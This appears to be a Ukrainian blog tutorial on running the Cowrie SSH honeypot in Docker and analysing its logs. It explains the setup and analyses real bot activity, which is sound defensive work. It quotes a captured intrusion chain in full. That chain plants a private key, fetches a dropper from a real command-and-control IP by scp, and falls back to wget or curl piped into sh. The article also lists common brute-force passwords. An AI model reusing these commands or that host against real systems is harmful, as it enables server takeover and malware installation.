Cowrie SSH Honeypot: як я пустив хакерських ботів на VPS і записав кожен їхній крок
🇬🇧 Read this article in English
У попередній статті про Endlessh ми розбирали концепцію «смоляної ями» — пастки, яка тримає хакерських ботів на стадії вітального банера й марнує їхній час тижнями. Це весело, ефективно й суттєво розвантажує сервер.
Але зізнайтеся: кожному системному адміністратору хоч раз було цікаво: «А що саме роблять хакери, якщо їм таки вдається підібрати пароль і увійти всередину?» Які команди вони виконують першими? Які паролі сьогодні в топі ботнетів? І які віруси вони намагаються завантажити на ваш сервер?
Сьогодні ми піднімемо ставки: замість того, щоб тримати двері замкненими, ми відчинимо їх навстіж за допомогою інтерактивного SSH-ханіпота Cowrie.
Мал. 1. Термінал Cowrie: перехоплення сесії атакуючого, виконання розвідувальних команд і блокування завантаження шкідливого коду
Що таке Cowrie і як влаштована пастка?
Cowrie — це інтерактивний SSH та Telnet ханіпот середнього рівня взаємодії (Medium-Interaction Honeypot).
На відміну від Endlessh, який не дає боту навіть ввести логін, Cowrie розігрує перед атакуючим виставу:
- Люб’язно приймає пароль: якщо бот перебирає стандартні комбінації (
root:P@ssw0rd,admin:admin,ubuntu:123456), Cowrie каже «Ласкаво просимо!» і впускає його в систему. - Імітує повноцінний Linux-шел: бот бачить запрошення командного рядка (наприклад,
root@svr04:~#), фальшиві файли/etc/passwd, процеси вps auxта інформацію про ядро вuname -a. - Записує абсолютно все: кожне натискання клавіші, кожну введену команду та виправлення опечаток.
- Перехоплює завантажені файли: якщо атакуючий намагається виконати
wget,curlабо передати файл через SFTP, Cowrie завантажує цей файл, але не виконує його, а безпечно складає в ізольовану папку-карантин на вашому диску для подальшого аналізу. - Записує сесію як відео (
ttyrec): ви можете буквально відкрити запис сесії й спостерігати на екрані, з якою швидкістю бот чи живий хакер вводив команди.
При цьому реальний ваш сервер залишається в цілковитій безпеці: ханіпот працює в ізольованому Docker-контейнері й ніколи не дає зловмиснику реального доступу до ядра вашої хост-системи.
Крок 1. Підготовка портів та архітектури
Щоб запустити Cowrie на публічному VPS, важливо чітко розділити порти:
- Ваш справжній адмінський SSH: має бути на високому порту (наприклад,
1234, як ми налаштовували в статті про Endlessh). - Порт пастки Cowrie:
- Можна запустити на порті 2222 — це найпопулярніший альтернативний SSH-порт у світі. Коли боти сканують діапазони IP, вони обов’язково перевіряють 2222, вважаючи, що адмін «сховав» туди свій справжній вхід.
- Або можна тимчасово виставити Cowrie на стандартний порт 22 для максимального улову.
Крок 2. Розгортання Cowrie в Docker
Офіційний образ cowrie/cowrie:latest запускається за лічені хвилини:
- Створимо каталог для конфігурації та збережених даних:
1 2 3
sudo mkdir -p /opt/cowrie/cowrie-var /opt/cowrie/cowrie-etc sudo chown -R 1000:1000 /opt/cowrie/cowrie-var cd /opt/cowrie
- Створимо файл
docker-compose.yml:1 2 3 4 5 6 7 8 9 10 11 12
version: '3.8' services: cowrie: image: cowrie/cowrie:latest container_name: cowrie restart: unless-stopped ports: - "2222:2222" # Зовнішній порт 2222 спрямовуємо у пастку volumes: - /opt/cowrie/cowrie-var:/cowrie/cowrie-var - /opt/cowrie/cowrie-etc:/cowrie/cowrie-etc
- Запускаємо пастку:
1
docker compose up -d
(Або через швидку пряму команду: docker run -d --name cowrie --restart unless-stopped -p 2222:2222 -v /opt/cowrie/cowrie-var:/cowrie/cowrie-var cowrie/cowrie:latest).
Переконайтеся, що порт 2222/tcp відкритий у фаєрволі вашого сервера (sudo ufw allow 2222/tcp або sudo firewall-cmd --permanent --add-port=2222/tcp && sudo firewall-cmd --reload).
Крок 3. Тестуємо пастку на собі
Перш ніж дивитися на чужих ботів, давайте самі заглянемо у кролячу нору:
1
ssh -p 2222 root@your-vps-ip
Введіть будь-який простий пароль (наприклад, root або 123456).
Вуаля! Вас зустріне привітання сервера Debian, а в терміналі з’явиться робочий шел. Спробуйте виконати команди:
1
2
3
4
uname -a
cat /proc/cpuinfo
cat /etc/shadow
ls -la /root
Ви помітите, що система поводиться дуже правдоподібно, повертає типові помилки прав доступу й виводить стандартні структури файлів. Але насправді це все — віртуальний Python-процес Cowrie, який ретельно документує кожну вашу літеру.
Крок 4. Реальний улов за 3 дні: розбір справжньої атаки
Ми залишили Cowrie попрацювати на порту 2222 на нашому VPS протягом 3 днів. Результати перевершили всі очікування: зафіксовано понад 30 000 подій у журналі cowrie.json!
Топ облікових записів, які перебирали боти:
У логах чітко видно, що в трендах сучасного автоматизованого сканування:
support:supportadmin:adminroot:P@ssw0rdubuntu:123456root:---fuck_you----(хтось явно має специфічний словник брутфорсу)
Анатомія реальної атаки: впровадження C2-дропера та крадіжка ключа
Серед тисяч однотипних спроб наш Cowrie зловив справжню цільову багатоетапну атаку. Погляньте на реальний фрагмент команд, які ввів бот одразу після успішного входу:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp || cd /var/tmp || cd /dev/shm;
echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ
...
-----END OPENSSH PRIVATE KEY-----' > key.ppk;
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg;
chmod 400 key.ppk;
scp -s -F sshcfg -i key.ppk dlr@217.60.103.56:sh out_sh;
if [ $? -eq 0 ]; then
chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1;
else
(wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s ssh;
fi;
rm -rf sshcfg key.ppk out_sh
Що тут відбувається крок за кроком?
- Розвідка оточення: бот виконує
uname -a, перевіряючи ядро, та виводить у hex\x61\x75\x74\x68\x5F\x6F\x6B\x0A(auth_ok), щоб переконатися, що зв’язок стабільний. - Пошук каталогу для запису: переходить у
/tmp,/var/tmpабо/dev/shm— стандартні місця, де користувачам дозволено запис. - Створення плацдарму: закидає в файл
key.ppkсвій приватний SSH-ключdlr@sftpі генерує тимчасовийsshcfg, який вимикає перевірку сертифікатів хоста. - Спроба завантажити другу фазу (Dropper): через захищене з’єднання
scpстукає на свій C2-сервер217.60.103.56за шкідливим скриптомsh. - Резервний канал: якщо SCP не вдається, атакувальник автоматично запускає fallback через
wgetчиcurlбезпосередньо у командний інтерпретатор:| sh -s ssh. - Замітання слідів: в кінці обов’язково видаляє
key.ppk,sshcfgта завантажений файлout_sh.
Що зробив Cowrie?
- Він дозволив боту виконати всі команди й вивести фейкове підтвердження
auth_ok. - Перехопив приватний SSH-ключ зловмисника і зберіг його у нашу директорію
downloads/для дослідження! - Заблокував виконання реального шкідливого скрипта на сервері.
- Записав весь цей ланцюжок дій у форматі
ttyrecу папкуtty/.
Крок 5. Аналіз логів через jq
Усі події Cowrie записує у зручний JSON-формат (cowrie.json). Ви можете витягувати звідти будь-яку аналітику за допомогою однієї команди:
- Подивитися успішні входи з IP-адресами та паролями:
1
jq -r 'select(.eventid=="cowrie.login.success") | "\(.src_ip) -> \(.username):\(.password)"' /opt/cowrie/cowrie-var/log/cowrie/cowrie.json
- Подивитися, які саме команди вводили атакувальники:
1
jq -r 'select(.eventid=="cowrie.command.input") | "\(.src_ip): \(.input)"' /opt/cowrie/cowrie-var/log/cowrie/cowrie.json
- Переглянути перехоплені завантаження: Усі файли, які боти намагалися створити чи завантажити, зберігаються в папці
/opt/cowrie/cowrie-var/lib/cowrie/downloads/із SHA256-хешами замість імен, що дозволяє безпечно перевіряти їх на VirusTotal.
Висновок: від пасивного захисту до активної розвідки
Якщо Endlessh — це спосіб зв’язати ботам руки, то Cowrie — це повноцінна станція цифрової розвідки (Threat Intelligence) на вашому особистому сервері.
Замість того, щоб сліпо блокувати невідомі IP-адреси у Fail2ban, ви на власні очі бачите:
- актуальні словники паролів, які ботнети використовують просто зараз;
- адреси центрів управління (C2-серверів), звідки завантажуються бот-скрипти;
- техніки маскування та закріплення в системі.
Розгортання займає лише 5 хвилин, а спостереження за реальними діями кіберзлочинців дає уявлення про безпеку набагато краще, ніж будь-який підручник. 🍯🕵️♂️
